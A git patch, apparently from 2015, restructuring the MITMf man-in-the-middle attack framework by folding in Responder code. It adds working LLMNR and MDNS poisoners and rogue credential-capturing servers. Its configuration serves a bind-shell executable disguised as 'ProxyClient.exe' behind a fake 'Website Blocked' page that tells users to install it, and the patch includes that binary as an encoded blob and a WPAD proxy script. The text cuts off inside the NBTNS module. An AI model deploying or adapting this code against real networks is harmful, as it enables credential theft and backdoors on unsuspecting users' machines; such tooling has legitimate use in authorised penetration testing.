From fd9b79c617d70d97013f23a2becf53e12505e6c0 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sun, 2 Aug 2015 21:15:10 +0200 Subject: [PATCH] first pass at refactoring: directory structure has been simplified by grouping all the poisoners and servers in one folder impacket smb server has been replaced with responder's flask http server has beem replaced with responder's modified config file to support new changes --- config/mitmf.conf | 110 +- config/responder/AccessDenied.html | 31 + config/responder/BindShell.exe | Bin 0 -> 25113 bytes config/responder/gen-self-signed-cert.sh | 3 + config/responder/responder.crt | 18 + config/responder/responder.key | 27 + core/configwatcher.py | 2 +- core/mitmfapi.py | 2 +- core/{netcreds/NetCreds.py => netcreds.py} | 0 core/netcreds/README.md | 64 - core/netcreds/__init__.py | 0 core/{packetparser.py => packetfilter.py} | 6 +- core/poisoners/{arp/ARPpoisoner.py => ARP.py} | 0 .../{dhcp/DHCPpoisoner.py => DHCP.py} | 0 .../{icmp/ICMPpoisoner.py => ICMP.py} | 0 core/poisoners/LLMNR.py | 94 ++ core/poisoners/MDNS.py | 70 + core/poisoners/NBTNS.py | 79 + core/poisoners/arp/__init__.py | 0 core/poisoners/dhcp/__init__.py | 0 core/poisoners/icmp/__init__.py | 0 .../ProxyPlugins.py => proxyplugins.py} | 0 core/responder/common.py | 102 -- core/responder/fingerprint.py | 68 + core/responder/fingerprinter/Fingerprint.py | 121 -- .../fingerprinter/FingerprintRelay.py | 132 -- .../fingerprinter/LANfingerprinter.py | 236 --- .../fingerprinter/RAPLANMANPackets.py | 146 -- core/responder/fingerprinter/RelayPackets.py | 480 ------- core/responder/fingerprinter/__init__.py | 0 core/responder/ftp/FTPserver.py | 67 - core/responder/ftp/__init__.py | 0 core/responder/imap/IMAPPackets.py | 42 - core/responder/imap/IMAPserver.py | 53 - core/responder/imap/__init__.py | 0 core/responder/kerberos/KERBserver.py | 157 -- core/responder/kerberos/__init__.py | 0 core/responder/ldap/LDAPPackets.py | 224 --- core/responder/ldap/LDAPserver.py | 121 -- core/responder/ldap/__init__.py | 0 core/responder/llmnr/LLMNRpoisoner.py | 176 --- core/responder/llmnr/__init__.py | 0 core/responder/mdns/MDNSpoisoner.py | 115 -- core/responder/mdns/__init__.py | 0 core/responder/mssql/MSSQLPackets.py | 154 -- core/responder/mssql/MSSQLserver.py | 129 -- core/responder/mssql/__init__.py | 0 core/responder/nbtns/NBTNSpoisoner.py | 212 --- core/responder/nbtns/__init__.py | 0 core/responder/odict.py | 11 +- core/responder/packet.py | 34 - core/responder/packets.py | 1277 +++++++++++++++++ core/responder/pop3/POP3server.py | 65 - core/responder/pop3/__init__.py | 0 core/responder/settings.py | 192 +++ core/responder/smtp/SMTPPackets.py | 61 - core/responder/smtp/SMTPserver.py | 64 - core/responder/smtp/__init__.py | 0 core/responder/utils.py | 358 +++++ core/sergioproxy/README.md | 13 - core/sergioproxy/__init__.py | 0 core/servers/Browser.py | 205 +++ core/servers/{dns/DNSchef.py => DNS.py} | 2 - core/servers/FTP.py | 58 + core/servers/HTTP.py | 292 ++++ core/servers/IMAP.py | 55 + core/servers/{smb => }/KarmaSMB.py | 0 core/servers/Kerberos.py | 159 ++ core/servers/LDAP.py | 137 ++ core/servers/MSSQL.py | 157 ++ core/servers/POP3.py | 60 + core/servers/SMB.py | 421 ++++++ core/servers/SMTP.py | 66 + core/servers/dns/CHANGELOG | 29 - core/servers/dns/LICENSE | 25 - core/servers/dns/README.md | 339 ----- core/servers/dns/__init__.py | 0 core/servers/http/HTTPserver.py | 64 - core/servers/http/__init__.py | 0 core/servers/smb/SMBserver.py | 76 - core/servers/smb/__init__.py | 0 core/sslstrip/ClientRequest.py | 17 +- core/sslstrip/ServerConnection.py | 2 +- core/utils.py | 4 +- mitmf.py | 46 +- plugins/responder.py | 138 -- plugins/spoof.py | 8 +- 87 files changed, 3921 insertions(+), 3755 deletions(-) create mode 100644 config/responder/AccessDenied.html create mode 100644 config/responder/BindShell.exe create mode 100755 config/responder/gen-self-signed-cert.sh create mode 100644 config/responder/responder.crt create mode 100644 config/responder/responder.key rename core/{netcreds/NetCreds.py => netcreds.py} (100%) delete mode 100644 core/netcreds/README.md delete mode 100644 core/netcreds/__init__.py rename core/{packetparser.py => packetfilter.py} (88%) rename core/poisoners/{arp/ARPpoisoner.py => ARP.py} (100%) rename core/poisoners/{dhcp/DHCPpoisoner.py => DHCP.py} (100%) rename core/poisoners/{icmp/ICMPpoisoner.py => ICMP.py} (100%) create mode 100644 core/poisoners/LLMNR.py create mode 100644 core/poisoners/MDNS.py create mode 100644 core/poisoners/NBTNS.py delete mode 100644 core/poisoners/arp/__init__.py delete mode 100644 core/poisoners/dhcp/__init__.py delete mode 100644 core/poisoners/icmp/__init__.py rename core/{sergioproxy/ProxyPlugins.py => proxyplugins.py} (100%) delete mode 100644 core/responder/common.py create mode 100644 core/responder/fingerprint.py delete mode 100644 core/responder/fingerprinter/Fingerprint.py delete mode 100644 core/responder/fingerprinter/FingerprintRelay.py delete mode 100644 core/responder/fingerprinter/LANfingerprinter.py delete mode 100644 core/responder/fingerprinter/RAPLANMANPackets.py delete mode 100644 core/responder/fingerprinter/RelayPackets.py delete mode 100644 core/responder/fingerprinter/__init__.py delete mode 100644 core/responder/ftp/FTPserver.py delete mode 100644 core/responder/ftp/__init__.py delete mode 100644 core/responder/imap/IMAPPackets.py delete mode 100644 core/responder/imap/IMAPserver.py delete mode 100644 core/responder/imap/__init__.py delete mode 100644 core/responder/kerberos/KERBserver.py delete mode 100644 core/responder/kerberos/__init__.py delete mode 100644 core/responder/ldap/LDAPPackets.py delete mode 100644 core/responder/ldap/LDAPserver.py delete mode 100644 core/responder/ldap/__init__.py delete mode 100644 core/responder/llmnr/LLMNRpoisoner.py delete mode 100644 core/responder/llmnr/__init__.py delete mode 100644 core/responder/mdns/MDNSpoisoner.py delete mode 100644 core/responder/mdns/__init__.py delete mode 100644 core/responder/mssql/MSSQLPackets.py delete mode 100644 core/responder/mssql/MSSQLserver.py delete mode 100644 core/responder/mssql/__init__.py delete mode 100644 core/responder/nbtns/NBTNSpoisoner.py delete mode 100644 core/responder/nbtns/__init__.py delete mode 100644 core/responder/packet.py create mode 100644 core/responder/packets.py delete mode 100644 core/responder/pop3/POP3server.py delete mode 100644 core/responder/pop3/__init__.py create mode 100644 core/responder/settings.py delete mode 100644 core/responder/smtp/SMTPPackets.py delete mode 100644 core/responder/smtp/SMTPserver.py delete mode 100644 core/responder/smtp/__init__.py create mode 100644 core/responder/utils.py delete mode 100644 core/sergioproxy/README.md delete mode 100644 core/sergioproxy/__init__.py create mode 100644 core/servers/Browser.py rename core/servers/{dns/DNSchef.py => DNS.py} (99%) create mode 100644 core/servers/FTP.py create mode 100644 core/servers/HTTP.py create mode 100644 core/servers/IMAP.py rename core/servers/{smb => }/KarmaSMB.py (100%) create mode 100644 core/servers/Kerberos.py create mode 100644 core/servers/LDAP.py create mode 100644 core/servers/MSSQL.py create mode 100644 core/servers/POP3.py create mode 100644 core/servers/SMB.py create mode 100644 core/servers/SMTP.py delete mode 100644 core/servers/dns/CHANGELOG delete mode 100644 core/servers/dns/LICENSE delete mode 100644 core/servers/dns/README.md delete mode 100644 core/servers/dns/__init__.py delete mode 100644 core/servers/http/HTTPserver.py delete mode 100644 core/servers/http/__init__.py delete mode 100644 core/servers/smb/SMBserver.py delete mode 100644 core/servers/smb/__init__.py delete mode 100644 plugins/responder.py diff --git a/config/mitmf.conf b/config/mitmf.conf index cad2b4c..9ea8033 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -20,53 +20,6 @@ host = 127.0.0.1 port = 9999 - [[HTTP]] - - # - # Here you can configure MITMf's internal HTTP server - # Note: changing the port number might break certain plugins - - port = 80 - - [[SMB]] - - # - # Here you can configure MITMf's internal SMB server - # - - port = 445 - mode = normal # Can be set to Normal or Karma - - # Set a custom challenge - Challenge = 1122334455667788 - - [[[Shares]]] # Only parsed if type = Normal - - # - # You can define shares here - # - - # [[[[Share1]]]] #Share name - # readonly = yes #Be very careful if you set this to no! - # path = /tmp #Share path - - # [[[[Share2]]]] - # readonly = yes - # path = /tmp - - [[[Karma]]] # Only parsed if type = Karma - - # - # Here you can configure the Karma-SMB server - # - - defaultfile = '' #Path to the file to serve if the requested extension is not specified below (don't comment out) - - # exe = /tmp/evil.exe - # dll = /tmp/evil.dll - # ini = /tmp/desktop.ini - # bat = /tmp/evil.bat - [[DNS]] # @@ -154,32 +107,63 @@ [Responder] - #Set these values to On or Off, so you can control which rogue authentication server is turned on. - MSSQL = On + #Servers to start + SQL = On + HTTPS = On Kerberos = On - FTP = On - POP = On - SMTP = On #Listens on 25/TCP, 587/TCP - IMAP = On - LDAP = On + FTP = On + POP = On + SMTP = On + IMAP = On + LDAP = On - #Set this option with your in-scope targets (default = All) - #Ex. RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119 + #Custom challenge + Challenge = 1122334455667788 + + #Specific IP Addresses to respond to (default = All) + #Example: RespondTo = 10.20.1.100-150, 10.20.3.10 RespondTo = - #Set this option with specific NBT-NS/LLMNR names to answer to (default = All) - #Ex. RespondTo = WPAD,DEV,PROD,SQLINT + #Specific NBT-NS/LLMNR names to respond to (default = All) + #Example: RespondTo = WPAD, DEV, PROD, SQLINT RespondToName = - #DontRespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119 + #Specific IP Addresses not to respond to (default = None) + #Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10 DontRespondTo = - #Set this option with specific NBT-NS/LLMNR names not to respond to (default = None) - #Ex. DontRespondTo = NAC, IPS, IDS + #Specific NBT-NS/LLMNR names not to respond to (default = None) + #Example: DontRespondTo = NAC, IPS, IDS DontRespondToName = - #Set your custom PAC script - WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return "PROXY ISAProxySrv:3141; DIRECT";}' + [[HTTP Server]] + + #Set to On to always serve the custom EXE + Serve-Always = Off + + #Set to On to replace any requested .exe with the custom EXE + Serve-Exe = On + + #Set to On to serve the custom HTML if the URL does not contain .exe + Serve-Html = Off + + #Custom HTML to serve + HtmlFilename = config/responder/AccessDenied.html + + #Custom EXE File to serve + ExeFilename = config/responder/BindShell.exe + + #Name of the downloaded .exe that the client will see + ExeDownloadName = ProxyClient.exe + + #Custom WPAD Script + WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}' + + [[HTTPS Server]] + + #Configure SSL Certificates to use + SSLCert = config/responder/responder.crt + SSLKey = config/responder/responder.key [AppCachePoison] # HTML5 AppCache poisioning attack diff --git a/config/responder/AccessDenied.html b/config/responder/AccessDenied.html new file mode 100644 index 0000000..d79f811 --- /dev/null +++ b/config/responder/AccessDenied.html @@ -0,0 +1,31 @@ + + +Website Blocked: ISA Proxy Server + + + + +
+
+
New Security Policy: Website Blocked
+
    +
    +
    +
  • Access has been blocked. Please download and install the new Proxy Client in order to access internet resources.
  • +
    +
+
+ +
+ + + diff --git a/config/responder/BindShell.exe b/config/responder/BindShell.exe new file mode 100644 index 0000000000000000000000000000000000000000..b1a8e630176e120fc0f4f7af483880fb419d4937 GIT binary patch literal 25113 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 d%6Oe&n/Library/Python/2.7/lib/python/site-packages -echo 'import site; site.addsitedir("/usr/local/lib/python2.7/site-packages")' >> /Users//Library/Python/2.7/lib/python/site-packages/homebrew.pth -sudo pip install pypcap -brew tap brona/iproute2mac -brew install iproute2mac -``` -Then replace line 74 '/sbin/ip' with '/usr/local/bin/ip'. - - -####Thanks -* Laurent Gaffie -* psychomario diff --git a/core/netcreds/__init__.py b/core/netcreds/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/packetparser.py b/core/packetfilter.py similarity index 88% rename from core/packetparser.py rename to core/packetfilter.py index 0a8b1af..e8f0d5d 100644 --- a/core/packetparser.py +++ b/core/packetfilter.py @@ -6,10 +6,10 @@ from scapy.all import * from traceback import print_exc from netfilterqueue import NetfilterQueue -formatter = logging.Formatter("%(asctime)s [PacketParser] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -log = logger().setup_logger("PacketParser", formatter) +formatter = logging.Formatter("%(asctime)s [PacketFilter] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("PacketFilter", formatter) -class PacketParser: +class PacketFilter: def __init__(self, filter): self.filter = filter diff --git a/core/poisoners/arp/ARPpoisoner.py b/core/poisoners/ARP.py similarity index 100% rename from core/poisoners/arp/ARPpoisoner.py rename to core/poisoners/ARP.py diff --git a/core/poisoners/dhcp/DHCPpoisoner.py b/core/poisoners/DHCP.py similarity index 100% rename from core/poisoners/dhcp/DHCPpoisoner.py rename to core/poisoners/DHCP.py diff --git a/core/poisoners/icmp/ICMPpoisoner.py b/core/poisoners/ICMP.py similarity index 100% rename from core/poisoners/icmp/ICMPpoisoner.py rename to core/poisoners/ICMP.py diff --git a/core/poisoners/LLMNR.py b/core/poisoners/LLMNR.py new file mode 100644 index 0000000..930593e --- /dev/null +++ b/core/poisoners/LLMNR.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import socket +import struct +import core.responder.settings +import core.responder.fingerprint + +from core.reponder.packets import LLMNR_Ans +from core.responder.odict import OrderedDict +from SocketServer import BaseRequestHandler +from core.responder.utils import * + + +def Parse_LLMNR_Name(data): + NameLen = struct.unpack('>B',data[12])[0] + Name = data[13:13+NameLen] + return Name + +def IsOnTheSameSubnet(ip, net): + net = net+'/24' + ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) + netstr, bits = net.split('/') + netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) + mask = (0xffffffff << (32 - int(bits))) & 0xffffffff + return (ipaddr & mask) == (netaddr & mask) + +def IsICMPRedirectPlausible(IP): + dnsip = [] + for line in file('/etc/resolv.conf', 'r'): + ip = line.split() + if len(ip) < 2: + continue + if ip[0] == 'nameserver': + dnsip.extend(ip[1:]) + for x in dnsip: + if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False: + print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5) + print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5) + print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5) + else: + pass + +if settings.Config.AnalyzeMode: + IsICMPRedirectPlausible(settings.Config.Bind_To) + +# LLMNR Server class +class LLMNRServer(BaseRequestHandler): + + def handle(self): + data, soc = self.request + Name = Parse_LLMNR_Name(data) + + # Break out if we don't want to respond to this host + if RespondToThisHost(self.client_address[0], Name) is not True: + return None + + if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data): + + if settings.Config.Finger_On_Off: + Finger = fingerprint.RunSmbFinger((self.client_address[0], 445)) + else: + Finger = None + + # Analyze Mode + if settings.Config.AnalyzeMode: + LineHeader = "[Analyze mode: LLMNR]" + print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) + + # Poisoning Mode + else: + Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name) + Buffer.calculate() + soc.sendto(str(Buffer), self.client_address) + LineHeader = "[*] [LLMNR]" + + print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1) + + if Finger is not None: + print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) + print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) diff --git a/core/poisoners/MDNS.py b/core/poisoners/MDNS.py new file mode 100644 index 0000000..959ac43 --- /dev/null +++ b/core/poisoners/MDNS.py @@ -0,0 +1,70 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import struct +import settings +import socket + +from SocketServer import BaseRequestHandler +from packets import MDNS_Ans +from utils import * + +def Parse_MDNS_Name(data): + data = data[12:] + NameLen = struct.unpack('>B',data[0])[0] + Name = data[1:1+NameLen] + NameLen_ = struct.unpack('>B',data[1+NameLen])[0] + Name_ = data[1+NameLen:1+NameLen+NameLen_+1] + return Name+'.'+Name_ + +def Poisoned_MDNS_Name(data): + data = data[12:] + Name = data[:len(data)-5] + return Name + +class MDNS(BaseRequestHandler): + + def handle(self): + + MADDR = "224.0.0.251" + MPORT = 5353 + + data, soc = self.request + Request_Name = Parse_MDNS_Name(data) + + # Break out if we don't want to respond to this host + if RespondToThisHost(self.client_address[0], Request_Name) is not True: + return None + + try: + # Analyze Mode + if settings.Config.AnalyzeMode: + if Parse_IPV6_Addr(data): + print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))) + + # Poisoning Mode + else: + if Parse_IPV6_Addr(data): + + Poisoned_Name = Poisoned_MDNS_Name(data) + Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=socket.inet_aton(settings.Config.Bind_To)) + Buffer.calculate() + soc.sendto(str(Buffer), (MADDR, MPORT)) + + print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1) + + except Exception: + raise \ No newline at end of file diff --git a/core/poisoners/NBTNS.py b/core/poisoners/NBTNS.py new file mode 100644 index 0000000..0d550ec --- /dev/null +++ b/core/poisoners/NBTNS.py @@ -0,0 +1,79 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT 